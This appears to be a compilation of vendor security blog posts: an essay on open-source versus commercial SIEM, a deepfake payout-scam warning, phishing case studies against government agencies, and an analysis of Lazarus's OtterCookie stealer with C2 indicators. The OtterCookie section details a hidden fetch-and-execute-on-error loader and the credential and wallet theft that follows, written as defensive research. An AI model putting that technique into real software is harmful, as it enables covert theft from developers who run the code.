According to OpenLogic’s “State of Open Source” report, 96% of surveyed organizations use open-source solutions (OSS). Such solutions can be found in every segment of the IT market — including infosec tools. And they’re often recommended for building SIEM systems.

At first glance, OSS seems like a great choice. A SIEM system’s primary function is systematic telemetry collection and correlation, which you can set up using well-known data storage and processing tools. Just gather all your data with Logstash, hook up Elasticsearch, build the visualizations you need in Kibana — and you’re good to go! A quick search will even get you ready-made open-source SIEM solutions (often built on the same components). With SIEMs, adapting both data collection and processing to your organization’s specific needs is always key, and a custom OSS system offers endless possibilities for that. Besides, the license cost is zero. However, the success of this endeavor hinges on your development team, your organization’s specifics, how long your organization is willing to wait for results, and how much it’s ready to invest in ongoing support.

Time is money

A key question — one whose importance is consistently underestimated — is how long it’ll take before your company’s SIEM not only goes live but actually starts delivering real value. Gartner data shows that even a fully-featured, ready-made SIEM takes an average of six months to fully implement — with one in ten companies spending a year on it. And if you’re building your own SIEM or adapting an OSS, you should expect that timeline to double or triple. When budgeting, multiply that time by your developers’ hourly rates. It’s also hard to imagine a full-fledged SIEM being  by a single talented individual — your company will need to maintain an entire team.

A common psychological pitfall is being misled by how fast a prototype comes together. You can deploy a ready-made OSS in a test environment in just a few days, but bringing it up to production quality can take many months — even years.

Skill shortages

An SIEM needs to collect, index, and analyze thousands of events per second. Designing a high-load system, or even adapting an existing one, requires specialized and in-demand skills. Beyond just developers, the project would need highly skilled IT administrators, DevOps engineers, analysts, and even dashboard designers.

Another kind of shortage that SIEM builders have to overcome is the lack of hands-on experience needed to write effective normalization rules, correlation logic, and other content that comes out of the box in commercial SIEM solutions. Of course, even that out-of-the-box content requires significant adjustments, but bringing it up to your organization’s standards is both faster and easier.

Compliance

For many companies, having an SIEM system is a regulatory requirement. Those who build an SIEM themselves or implement an OSS solution have to put in considerable effort to achieve compliance. They need to map their SIEM’s capabilities to regulatory requirements on their own — unlike the users of commercial systems, which often come with a built-in certification process and all the necessary tools for compliance.

Sometimes, management might want to implement an SIEM just to “tick a box”, aiming to minimize the expense. But since PCI DSS, GDPR, and other local regulatory frameworks focus on the actual breadth and depth of SIEM implementation — not just its mere existence — a token SIEM system implemented just for show would fail to pass any audit.

Compliance isn’t something you can consider only at the time of implementation. If, during self-managed maintenance and operation, any components of your solution stop receiving updates and reach end-of-life, your chances of passing a security audit would plummet.

Vendor lock-in vs. employee dependence

The second most important reason for organizations to consider an open-source solution has always been flexibility in adapting it to their specific needs, along with avoiding reliance on a software vendor’s development roadmap and licensing decisions.

Both of these are compelling arguments, and in large organizations they can sometimes outweigh other factors. However, it’s crucial to make this choice with a clear understanding of its pros and cons:

• OSS SIEMs can be simpler to adjust for unique data inputs.
• With an OSS SIEM, you maintain complete control over how data is stored and processed.
• The cost of scaling an OSS SIEM primarily consists of prices for additional hardware and the development of required features.
• Both the initial setup and ongoing evolution of an OSS SIEM demand seasoned professionals who are well-versed in both development practices and SOC realities. If the team members who best understand the system leave the company or change roles, the system’s evolution might come to a halt. What’s worse, it gradually becomes less functional.
• While the upfront implementation cost of an OSS SIEM might be lower due to the absence of license fees, this difference often erodes during the maintenance phase. This is because of the continuous, additional expense of qualified staff dedicated solely to SIEM development. Over the long term, the total cost of ownership (TCO) for an OSS SIEM often turns out to be higher.

Content quality

The relevance of detection and response content is a key factor in an SIEM’s effectiveness. For commercial solutions, updates to correlation rules, playbooks, and threat intelligence feeds are typically provided as part of a subscription. They’re developed by large teams of researchers, undergo thorough testing, and generally require minimal effort from your in-house security team to implement. With an OSS SIEM, you’re on your own when it comes to updates: you need to search community forums, GitHub repositories, and free feeds yourself. The rules then require detailed vetting and adaptation to your specific infrastructure, and the risk of false positives ends up being higher. As a result, implementing updates in an open-source SIEM demands significantly more effort from your internal team.

The elephant in the room: hardware

To launch an SIEM, you need to acquire or lease hardware, and depending on the system’s architecture, this expense can vary dramatically. It doesn’t really matter much whether the system is an open-source or proprietary commercial solution. However, when implementing an open-source SIEM on your own, there’s a greater risk of making sub-optimal architectural decisions. In the long run, this translates into persistently high operational costs.

We cover the topic of evaluating SIEM hardware needs in detail in a separate post.

The final tally

While the idea of a fully customizable and adaptable platform with zero licensing fees is highly appealing, there is a significant risk that such a project would demand far more time and effort from your internal development team than an off-the-shelf commercial solution. It may also hinder your ability to quickly adopt new innovations and shift your security team’s focus from developing detection logic and response scenarios to dealing primarily with operational issues. This is why a managed, expert-supported, and well-integrated commercial solution often aligns more closely with a typical organization’s goals of effective risk reduction and predictable budgeting.

Commercial SIEMs enable your team to leverage pre-built rules, playbooks, and telemetry parsers, allowing it to focus on organization-specific projects — such as threat hunting or improving visibility in cloud infrastructure — instead of reinventing and refining basic SIEM features, or struggling to pass regulatory audits with a homegrown system.

Kaspersky official blog – ​Read More

Scammers just can’t stop playing Santa: one day it’s free Telegram subscriptions; another it’s cryptocurrency. This new scam keeps things simple: they’re offering money right off the bat — or, more accurately, sharing a supposedly legal way for you to cash in.

The scammers created a two-minute video in which journ-AI-lists and a celebrity spin tall tales: “Everyone can get compensation. You just need to…” Read on to find out what the scammers are instructing their victims to do, and about the bait they’re using to lure unsuspecting folks into their trap.

The scammers’ modus operandi

This campaign saw scammers create phishing websites to host the video. You won’t find it on YouTube or any other video hosting site (for your safety, we won’t share it here either), because this kind of AI-generated content tends to be taken down in short order. It’s much harder to deal with scam websites — especially when links are distributed via email and messaging apps.

Now for the most interesting part: the video. It looks just like a brand-new Brazilian news segment, but there’s a twist. The news is completely fake — and was “shot” without the journalists’ permission. The scammers used a real news broadcast as the base, overlaying it with AI-generated voiceover and syncing the lip movements to match the new script. In it, AI-generated clones of real journalists weigh in on “violations” by one of the country’s leading banks.

• “Clients see their balances shrink for no reason — or even get wiped out entirely”
• “Accounts are being unjustly frozen”
• “Interest rates on loans are being inflated”

Once the stage is set, another AI clone takes over. Here, the scammers use the same approach as with the journalists: real video footage, AI-generated voiceover, and lip-syncing to match the new script. An AI-generated copy of a celebrity in Brazil delivers a fiery speech: “For months on end, the bank has repeatedly violated regulations, and now we’re taking decisive, uncompromising action. From this point forward, the bank will be allowed to operate in Brazil only if it pays compensation to every citizen, in the amounts specified.” And — what do you know? — bingo! Suddenly, every Brazilian is entitled to a one-time payout ranging from 1518 to 10 626 Brazilian reals (approximately US$250–2000).

Then the journalist clones return to the screen, supposedly showing a social media post from the bank that “confirms” the statement. But how do you actually cash in? Well, an AI-generated voiceover, set against a video tutorial, explains that all Brazilians need to visit a website “created by the tax authority and the bank”, enter their CPF (the Brazilian taxpayer ID), and calculate their personal compensation amount.

The setup is clear: as soon as the victim finishes watching the video, they’re funneled straight to a specially crafted phishing website, where a quick identity check awaits.

• “What’s your mother’s name?”
• “What’s your date of birth?”
• “You have an overdue insurance payment in the amount of…”

Answer all the questions correctly (not that it really matters — you can type whatever you like), and you’re through to the final stage. You’re told the transaction is practically on its way and the money is about to hit your account, but there’s a snag. You’re required to pay three taxes: a road tax, a transfer tax, and a receipt tax, totaling just 55 Brazilian reals (around $10) — a mere pittance compared to the promised windfall of 7854 reals (roughly $1400). Next, the site asks you to enter your bank card details, confirm your CPF once again, and provide your name, email, and phone number before making the payment. And when those “taxes” are paid… absolutely nothing happens! The money and personal information will go straight to the scammers — and, of course, no one will ever see a payout.

Protecting yourself against payout scams

This scam targets Brazilian residents, but it could easily be adapted to other languages, themes, and continents. By tomorrow, you can bet the scammers will have cooked up a brand-new pretext: government fitness reimbursements, free food, a gas-bill refund, or something else entirely. That’s why it’s crucial to recognize the pattern: there’s always enticing bait (think free giveaways of something valuable), a phishing website, and a fake news report to seal the deal. But how can you spot the catch in videos like these?

• Watch the lips. Then you can spot the AI-generated journalist clones not always opening their mouths correctly. AI still struggles to perfectly sync lip movements with the audio track.
• Watch the facial expressions. Sure, these “news” videos might look convincing in a still frame, but if you look closely at AI-generated footage, you’ll notice how the speaker’s face can suddenly shift or change in unnatural ways.
• Inspect the background and lighting. If the “journalist” is standing in the middle of a field or some other empty space with blurry edges, or the lighting just looks off, chances are you’re looking at an AI creation.

But there’s more!…

Be sure to read Watch the (verified) birdie, or new ways to recognize fakes. In that post, we provide detailed guidance on telling real photos from fakes. If you’re worried that you or your loved ones might accidentally end up on a scam website, install Kaspersky Premium. It automatically blocks access to suspicious links from chat apps and email to keep you safe from phishing. That way, if there’s ever a threat, you won’t even have to worry about spotting fake news yourself.

Remember: following basic safety tips is one of the best ways to steer clear of scammers:

• Avoid entering personal and payment details on suspicious websites. If they’re asking for your date of birth, email, bank details, taxpayer ID, and… which doormat you keep your spare key under, chances are you’re dealing with scammers.
• Just a reminder: there’s no such thing as a free lunch. Be suspicious if someone promises you the world for nothing — even if it seems to be coming from a government official in a video. In fact, be even more cautious if it’s a government official speaking on camera!
• If you have to pay to claim your prize, it’s probably a scam. That’s a classic scammer’s trick: they promise you a huge payout, but only if you pay “a fee”, “tax”, or “shipping” first.
• Avoid clicking suspicious links. As a rule of thumb, consider any link sent to you by strangers to be suspicious by default. But remember, even friends can end up sending scam links — sometimes without even realizing it.

What else are scammers up to?

• SIMulated giveaway on Instagram: the prize is your account!
• You’ve been sent a “gift” — a Telegram Premium subscription
• It’s a gas: how online scammers dupe “investors”
• You found a seed phrase from someone else’s cryptowallet: what could go wrong?
• How to sell your TV without losing your shirt (and banking data)

Kaspersky official blog – ​Read More

Government institutions worldwide face a growing number of sophisticated cyberattacks. This case study examines how ANY.RUN’s solutions can be leveraged to detect, analyze, and mitigate cyber threats targeting government organizations. 

By analyzing real-world threats, we demonstrate how ANY.RUN’s Threat Intelligence Lookup, Interactive Sandbox, and YARA Search assist cybersecurity teams in identifying attack vectors, tracking malicious activities, and enhancing organizational resilience. 

Case Studies 

We will explore several attack scenarios where adversaries impersonate government structures to gain initial access:  

• A phishing email sent to the Department of Employment and Workforce (a U.S. government agency responsible for helping with employment and paying unemployment insurance benefits). 

• A domain imitating the official website of the U.S. Social Security Administration. 

• A malicious PDF disguised as a court notice from the South African Judiciary. 

1. Phishing Email Targeting South Carolina Department of Employment and Workforce 

Let’s take up the role of a cybersecurity officer at the department and try to understand who is targeting the organization, what malware is used, and what delivery methods are applied.  
 
A YARA rule is created to search emails with recipients from the domain dew.sc.gov analyzed in ANY.RUN sandbox. It identified 33 files and their analyses featuring email addresses on dew.sc.gov.

These results help to better understand threats targeting the agency:  

• Study subject lines, attachment types, and delivery methods. 

• Identify malware and tools used for attacks. 

• Collect artifacts (hashes, URLs, IPs) for filtering and monitoring. 

• Detect recurring techniques to improve protection. 

Let’s view one of the sandbox analyses linked to the detected files:  
 
In April 2025, a phishing email was uploaded to ANY.RUN, targeting an employee at the South Carolina DEW. The email, sent from @163.com domain, contained a malicious ZIP attachment named “Quotation.zip” (658 KB).  

We can run a separate analysis of the email in the Sandbox. First of all, header analysis shows that the email failed SPF, DKIM, and DMARC checks — the IP address wasn’t authorized for sending from 163.com, and no DKIM signature was present.

The IP can be used as an IOC and subjected to reputation checks. 

The email attachment that includes an executable file, “Quotation.exe”, has been flagged as a stealer by ANY.RUN’s signatures even before execution. The malware was identified as FormBook, with behaviors mapped to MITRE ATT&CK techniques T1552.001 (Credentials in Files) and T1518 (Software Discovery). The execution chain is visualized in the Graph section:  

Network traffic analysis confirmed FormBook activity through Suricata rules detecting characteristic HTTP headers. 

How to Find Similar Emails via ANY.RUN 

And now let us scale up to exploring the landscape of similar attacks, the patterns they follow, and to understanding the urgency of such threats for government agencies in the USA. A TI Lookup search was run for FormBook samples uploaded for sandbox analysis by users from the USA and delivered to them by email opened via Outlook:  
 
threatName:”FormBook” and submissionCountry:”US” and commandLine:”outlook.exe” 

12 sandbox analysis sessions were found — each containing unique indicators like hashes, IPs, C2 calls, and email content. This data can be used for deriving context and tracking repetitive techniques. 

Broader analysis is available using YARA Search for .gov email recipients in 2025 to identify malicious activity targeting US state agencies:  

Not all the found letters are malicious, but many reflect current phishing tactics recruited against government bodies.  

Custom YARA rules can be adjusted for relevance: change conditions, add filters, and thus create a selection of emails relevant to an organization’s threat profile. 

2. Fraudulent Domain Mimicking the U.S. Social Security Administration 

Next, we simulate the role of a SOC analyst at the U.S. SSA and research phishing domains that impersonate our entrusted agency. How do the documents these domains host look and feel, what payloads they disseminate, and what tactics and methods adversaries use?  

Via TI Lookup, we search for domains flagged as malicious and containing ssagov. 

domainName:”ssagov” and threatLevel:”malicious” 

The search returned 22 sandbox analyses, with 7 unique potentially malicious domains. This indicates attackers actively spoof SSA for phishing. Exploring these campaigns allows SOC teams to gather indicators, set up detection systems, and enhance triage and response.  

For example, an Interactive Sandbox analysis session from May 2025 spotted a malicious domain documentssagov[.]com that mimics SSA’s website and prompts users to download a “document”. Typical social engineering tactics are engaged — urgency, fake branding, and download prompts. 

Instead of a document, an executable SSA_Document.exe is downloaded. On execution, the ScreenConnect remote administration tool is deployed — indicating an attempt to gain remote access. This activity has been detected via Suricata and mapped to MITRE ATT&CK matrix.

How to Find Similar Domains via ANY.RUN 

Besides researching threats targeting a specific agency, we can uncover a domain-based tactic that involves spoofing a government agency sector.   

We aim to identify which phishing domains are being used by malicious actors, how actively they are being exploited, and what techniques are employed to deliver malicious payloads — while also enriching our detection systems with new indicators. 

Suppose we are interested in current attacks targeting ministries of foreign affairs. Let’s try to find potentially malicious domains that imitate the official websites of such organizations. Typically, these sites contain the abbreviation “mofa” (Ministry of Foreign Affairs) in their domain names. 

domainName:”*mofa*” AND threatLevel:”malicious” 

This TI Lookup search reveals 12 potentially malicious domains and 22 related analyses. Each analysis session contains IOCs, TTPs, domain interaction patterns, and data on malware distribution vectors. Such insights help understand phishing strategies, delivery mechanisms, and enrich detection systems with new indicators. 

3. Malicious PDF Posing as a South African Judiciary Notice 

Finally, let’s put on the hat of a South African Judiciary body employee and imagine having received an email with a PDF document disguised as an urgent judicial notice. We upload the file to ANY.RUN’s Interactive Sandbox and perform an analysis.  
 
The document mimics a court summons allegedly sent to a company, urging the recipient to immediately review the case materials. A button labeled “PREVIEW YOUR SUMMON DOCUMENT HERE” leads to an external link likely hosting a malicious payload. 

This is a classic example of social engineering, designed to create a sense of urgency and official pressure. The use of visual elements typical of government notifications increases the chances of recipient engagement. Such PDF files are often used to deliver and execute malicious code or as a trigger to redirect users to phishing sites. 

Upon opening the PDF, ANY.RUN flags the file as potentially phishing-related. It detects telltale signs, such as wording commonly used in phishing campaigns and embedded links. Quickly it becomes clear that the file is unsafe and likely part of an attack. 

Clicking the “PREVIEW YOUR SUMMON DOCUMENT HERE” button redirects the user to FloppyShare, from which a file named “SUMMON COURT DEMAND DOCUMENT.html” is automatically downloaded. When opened, this HTML document displays a fake Microsoft Office 365 Mail login form, prompting the victim to enter their credentials. 

This tactic is typical of credential-harvesting phishing attacks. The form visually mimics Microsoft’s authentication page, increasing the likelihood that victims will input their login details. 

How to Find Similar Documents via ANY.RUN 

One effective approach is to extract embedded images from the PDF and search for their hashes in the ANY.RUN database. This helps identify similar samples, recurring templates, and visual elements used by attackers in social engineering campaigns. By doing so, we gain deeper insight into their tactics and uncover related malicious content. 

Let’s take the hash of one of the PDF’s embedded images and perform a search via TI Lookup with a simple query:  
 
sha256:”dfbbc198e7cb36ca31a5cb9dfd859955c4366b94f4a87c2a03102d60168eb74d” 

The results reveal 18 analyses featuring various PDF variants and payload delivery methods. Attackers disguise malicious pages as legitimate services and use different hosting platforms. 

The data from the samples can serve as indicators of compromise (IOCs) for malicious activity targeting a specific company or sector of interest. 

Summary on the Cases 

ANY.RUN’s capabilities enabled rapid threat detection and analysis: 

• TI Lookup: Provides detailed threat intelligence, including domain and IP reputation. 

• YARA Search: Identifies targeted phishing campaigns by filtering emails with specific recipient domains, yielding actionable IOCs and samples. 

• Sandbox Analysis: Executes malicious files to observe behaviors, map MITRE ATT&CK techniques, and detect network-based threats using Suricata rules. 

The ability of these solutions to scale analysis and correlate threats across multiple incidents helps to build a comprehensive attack profile, critical for government cybersecurity strategies. 

Recommendations for Decision-Makers 

For government cybersecurity leaders, we recommend to: 

1. Adopt proactive threat hunting: Use ANY.RUN’s YARA Search to monitor emails and files targeting agency domains, enabling early detection of phishing and malware campaigns. 

2. Leverage real-time analysis: Employ ANY.RUN’s Interactive Sandbox to analyze suspicious attachments and URLs, ensuring rapid identification of threats.  

3. Use threat intelligence: Utilize TI Lookup to gather IOCs to block malicious IPs, domains, and URLs across agency networks.  

4. Empower staff with phishing awareness: Educate employees on recognizing spoofed domains and suspicious attachments, using insights from ANY.RUN analyses.  

5. Integrate with existing systems: Incorporate ANY.RUN’s TI Feeds to automate threat detection. 

By providing real-time analysis, scalable threat hunting, and actionable intelligence, ANY.RUN empowers cybersecurity teams to protect critical infrastructure effectively. Implementing these recommendations will strengthen defenses, reduce response times, and mitigate risks posed by targeted cyber threats. 

Get a 14-day trial of ANY.RUN’s solutions and see how much faster and deeper your threat investigations can be. 

The post Cyber Attacks on Government Agencies: Detect and Investigate with ANY.RUN for Fast Response appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

Editor’s note: The current article is authored by Mauro Eldritch, offensive security expert and threat intelligence analyst. You can find Mauro on X. 

What looks like a simple freelance bug fix turns out to be a full-blown malware infection. OtterCookie, a new tool from the Lazarus Group APT, hides behind clean code and fake job offers, then silently steals credentials, crypto wallets, and more.  

In this step-by-step technical analysis, Mauro Eldritch breaks down the full attack chain, supported by live insights from ANY.RUN’s Interactive Sandbox. 

Overview of OtterCookie Malware 

North Korean state-sponsored groups, most notably Lazarus, continue to target the financial and cryptocurrency sectors using a range of custom malware families. Previously observed campaigns included threats like InvisibleFerret and Beavertail, which were distributed through elaborate social engineering tactics such as fake developer interviews and staged business calls with executives. 

A new addition to this toolkit is OtterCookie, a stealer malware that, much like its predecessors, isn’t spread through random means like pirated software or infected USB drives. Instead, it is part of a broader, coordinated campaign targeting professionals in the tech, financial, and crypto industries. By staging fake interviews, threat actors deliver malware disguised either as coding challenges (or their dependencies) or video call software, in a campaign now known as Contagious Interview or DevPopper. 

OtterCookie, written in heavily obfuscated JavaScript, was uncovered during a recent investigation conducted with the Bitso Quetzal Team. Notably, the delivery method used in this case stands out for its creativity and level of deception. 

Key Takeaways 

• OtterCookie is a new stealer malware linked to North Korean APT Lazarus, delivered through fake job offers. 

• Malware is hidden in clean-looking Node.js repos and executed via an intentional try/catch failure. 

• Payload is fetched from an external API and executed using a require() call—no local implant needed. 

• Targets include browser credentials, macOS keychains, and crypto wallets like Solana and Exodus. 

• Data is exfiltrated via port 1224 to a U.S.-based C2 server, following patterns seen in Beavertail and InvisibleFerret. 

• ANY.RUN detects OtterCookie early, before deobfuscation, and maps its behavior in the ATT&CK Matrix. 

• OtterCookie eventually deploys InvisibleFerret, continuing Lazarus’s modular, multi-stage approach. 

Social Engineering Delivery: The “Job Offer” Trap 

As part of the Contagious Interview campaign, one observed variation involved a new form of social engineering distributed through LinkedIn. Instead of requesting participation in a coding challenge or scheduling a business call, as seen in previous campaigns, the attacker proposed freelance contract work. The task was simple: resolve a minor visual bug in the frontend of a decentralized application (DApp). 

The sender claimed their development team was unavailable due to vacation and shared access to a Bitbucket repository containing Node.js code. 

Surprisingly, the repository appeared entirely clean. No implants, no hidden payloads, and none of the suspicious NPM dependencies commonly associated with earlier malware like Beavertail. This wasn’t an example of FUD (Fully Undetectable) malware bypassing antivirus detection, it was genuinely clean. The kind of clean that instills confidence and lowers suspicion. 

A Closer Look at OtterCookie Malware

The code simulates a NodeJS web service and frontend based on Express, with two interesting functions. First, there’s an error section that looks hastily written, with a particularly odd error message. 

Next, there’s a notable try/catch block in the code. For context, a try/catch block is a common programming construct that allows an application to attempt an operation. If the operation fails, due to either a specific error or a general exception, the catch block executes to handle the failure without crashing the application. 

Execution Through Controlled Failure 

This particular implementation is one of the most creative ways of deploying malware seen recently. The app’s initialization sequence is wrapped in a try/catch block. When an error is triggered, it fetches a response from an external API that appears to provide contextual error information, and then… executes it. 

You read it right – it uses a require() statement to execute whatever response comes back from the external API. 

The first thought that comes to mind: “Does that mean the system gets infected if the app fails?” 

And yes, that’s exactly the point! The failure is intentional and triggered during the app’s bootstrap phase. It kicks in, catches the error, prints it to the console, and pretends it just handled the issue gracefully—like everything’s fine now and ready to go. In the background, it already fetched “the error” and is executing it. 

Interactive Sandbox Analysis with ANY.RUN 

Let’s take a closer look at how this plays out in ANY.RUN’s interactive sandbox 

View analysis session 

After launching an Ubuntu instance and installing Node.js, the next step involves adding the legacy peer dependencies from NPM—around 1,540 packages in total. Running the web server then triggers the expected error routine: “Unexpected reserved word.” Despite the wording, this error is anything but unexpected. 

Originally, the task was to fix a simple visual bug. But that raises the question—how did a blatant, critical error like using a reserved word make it into the code? The answer becomes obvious a bit too late: while the app was running, it quietly queried a remote API in Finland—chainlink-api-v3[.]cloud—and received what appeared to be an error response. 

Or at least something that looked like one. And it got executed. 

Deobfuscation and Payload Behavior 

Let’s try to deobfuscate that response. 

Lazarus is known for its frequent use of a legitimate online tool: deobfuscate[.]io. This platform has been used to obfuscate JavaScript payloads in fake NPM packages, and even entire malware families like Beavertail. 

When the obfuscated code is pasted, the webapp recognizes which version was used to scramble it and offers to redirect you straight to the right decoder. One click later, you get the original code, which is nice and readable. Let me introduce you to OtterCookie. Let’s analyze it.  

Inside OtterCookie: What It Targets 

OtterCookie begins by requesting libraries that allow interaction with the operating system, such as fs, os, path, request, and child_process. It also includes modules specifically designed to target major browsers like Brave, Google Chrome, Opera, and Mozilla Firefox, along with numerous browser extensions, primarily those related to cryptocurrency wallets and password managers. 

This behavior may sound familiar to those who’ve followed earlier DPRK-linked malware campaigns, such as Beavertail and InvisibleFerret. 

Credential and Wallet Theft 

In this case, OtterCookie specifically targets Firefox profile directories, copying the user’s Solana-related profile data for exfiltration. 

In addition to Solana, other wallets, such as Exodus, are also targeted, with sensitive files being copied for exfiltration. This aligns with the broader pattern observed in DPRK campaigns, where cryptocurrency assets are a primary focus due to their relative ease of laundering and anonymization. 

And it’s not just about cryptocurrency. Some NFTs, despite having little market value, are used as authentication mechanisms in certain Web3 environments, which are increasingly widespread. These, too, can be valuable to threat actors. 

Next, OtterCookie attempts to access the macOS login keychain, along with credential databases from various browsers, extracting saved passwords, session tokens, and other sensitive authentication data. 

Exfiltration Tactics and Infrastructure 

Once everything is staged, the malware sends the loot to a webserver in the US (144.172.101.45), using port 1224 and the /uploads path. 

We’ve seen this exact pattern before… in InvisibleFerret. 

It’s safe to assume that some practices—and even bits of code—are being recycled across these malware strains. 

Before exfiltration, OtterCookie attempts to compress the collected data using tar. At this stage, some familiar filenames appear, p.zi and p2.zip, previously seen in related campaigns. 

That definitely rings a bell. Similar filenames were seen in the Beavertail campaign, used to download and install its partner-in-crime and next stage: InvisibleFerret, pulled from an endpoint called /pdown. Just like in the snippet at the end of this script. 

Next Stage: Delivering InvisibleFerret 

At this stage, the malware attempts to download a portable Python distribution, compatible with either Windows or Unix, from its command-and-control (C2) server. Once installed, it proceeds to execute InvisibleFerret as the next stage of the attack. For context, InvisibleFerret is a cross-platform remote access trojan (RAT) written in Python, known for leveraging legitimate tools such as AnyDesk to maintain persistent access to the victim’s system. 

The good news is that ANY.RUN successfully detects all three malware strains—OtterCookie, InvisibleFerret, and Beavertail. 

In this case, the obfuscated payload was flagged even before manual deobfuscation could begin. 

With that covered, it’s time to move on to the MITRE ATT&CK Matrix, which ANY.RUN conveniently generates as part of the analysis. 

The OtterCookie Matrix 

OtterCookie shares several Tactics, Techniques, and Procedures (TTPs) with its counterparts, InvisibleFerret and Beavertail. Some of the most notable include: 

• T1082 – System Information Discovery 
  OtterCookie collects detailed information from the victim’s system to build a comprehensive host profile. 

• T1003 – OS Credential Dumping 
  The malware accesses sensitive local files such as /etc/passwd and /etc/shadow, along with browser credential stores and OS keychains. The harvested data is then compressed and prepared for exfiltration. 

• T1071 – Application Layer Protocol 
  This technique is used to communicate with the command-and-control server (144.172.101.45) for data exfiltration. 

• T1571 – Non-Standard Port 
  Supporting T1071, this technique involves the use of an uncommon port—1224—to evade standard detection mechanisms. 

Conclusion 

OtterCookie is yet another reminder of how advanced and deceptive modern malware has become. Hidden behind a routine bug fix task, it exfiltrates credentials, crypto wallet data, and system information, while quietly setting up a second-stage payload like InvisibleFerret. 

Attacks like this demand more than traditional detection. They require a dynamic, transparent environment to truly understand what’s happening. 

With ANY.RUN’s interactive sandbox, security teams can: 

• Cut investigation time from hours to seconds by getting clear verdicts in under 40 seconds even for obfuscated, evasive malware. 

• Understand threats in real time, helping analysts take action before damage is done. 

• Train junior analysts faster by giving them a safe, hands-on environment to explore real malware behavior without risking the network. 

• Improve response quality and speed, thanks to visualized tactics, techniques, and clear IOCs that can be used immediately in detection rules. 

• Boost team efficiency with easy-to-share sessions and collaborative analysis tools, reducing back-and-forth and enabling faster decision-making. 

Whether you’re investigating OtterCookie or preparing for what’s next, ANY.RUN helps you detect, understand, and respond faster with clarity and control. 

Join now to experience its advanced features for 14 days. 

Gathered IOCs 

IPv4: 135.181.123.177

IPv4: 144.172.101.45

Domain: chainlink-api-v3.cloud

URL: http://144.172.101.45:1224/

URL: http[:]//chainlink-api-v3[.]cloud/api/service/token/56e15ef3b5e5f169fc063f8d3e88288e

URL:http[:]//chainlink-api-v3[.]cloud/api/

URL: https[:]//bitbucket.org/0xhpenvynb/mvp_gamba/downloads/

SHA256: aa0d64c39680027d56a32ffd4ceb7870b05bdd497a3a7c902f23639cb3b43ba1

SHA256: 071aff6941dc388516d8ca0215b757f9bee7584dea6c27c4c6993da192df1ab9

SHA256: 486f305bdd09a3ef6636e92c6a9e01689b8fa977ed7ffb898453c43d47b5386d

SHA256: ec234419fc512baded05f7b29fefbf12f898a505f62c43d3481aed90fef33687

FileName: 0xhpenvynb-mvp_gamba-6b10f2e9dd85.zip

SOLWallet: V2grJiwjs25iJYqumbHyKo5MTK7SFqZSdmoRaj8QWb9 

The post OtterCookie Malware Analysis and Distribution appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More